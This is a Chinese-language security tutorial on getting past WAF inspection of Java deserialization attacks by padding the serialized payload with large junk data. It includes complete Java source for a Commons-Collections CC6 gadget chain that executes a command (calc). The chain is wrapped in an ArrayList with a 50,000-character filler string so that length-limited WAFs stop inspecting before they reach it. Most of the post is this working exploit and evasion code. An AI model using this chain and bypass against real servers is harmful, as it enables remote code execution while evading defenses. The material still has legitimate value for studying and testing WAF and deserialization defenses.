Java反序列化绕WAF之加大量脏数据

Java反序列化绕WAF之加大量脏数据

WAF背景

大多数的WAF受限于性能影响,当request足够大时,WAF就可能因为性能原因而做出让步,超出检查长度的内容,将不会被检查。这一点在一些CTF的题目中有所体现。

虽然这样可以绕过检测,但是我们的序列化数据是二进制数据,直接加入垃圾数据破坏了序列化的结构,在readObject反序列化的时候并没有反序列化成功。

脏数据添加

这里存在的思路是,找到一个可以序列化的类,可以将我们的脏数据和ysoserial gadget对象一起包裹起来。

条件:

  • 实现Serializable接口
  • 可以存储任意对象

这么一看,集合类型就非常符合需求了。

  1. ArrayList
  2. LinkedList
  3. HashMap
  4. LinkedHashMap
  5. TreeMap
  6. ……

实现

这里拿CC6的链子举例,我们需要构造一个dirtyData和一个集合类,将我们的dirtyData和入口类用该集合类包裹起来,进行序列化即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package com.review.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;

public class Dirty {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> hashMap = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer(1));

TiedMapEntry entry = new TiedMapEntry(lazyMap, "abc");

HashMap<Object,Object> expMap = new HashMap<>();
expMap.put(entry, "qwe");
lazyMap.remove("abc");

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

String dirtyData = "";
for(int i=0;i<50000;i++){
dirtyData += "s";
}

ArrayList<Object> list = new ArrayList<>();

list.add(dirtyData);
list.add(expMap);

// serialize(list);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}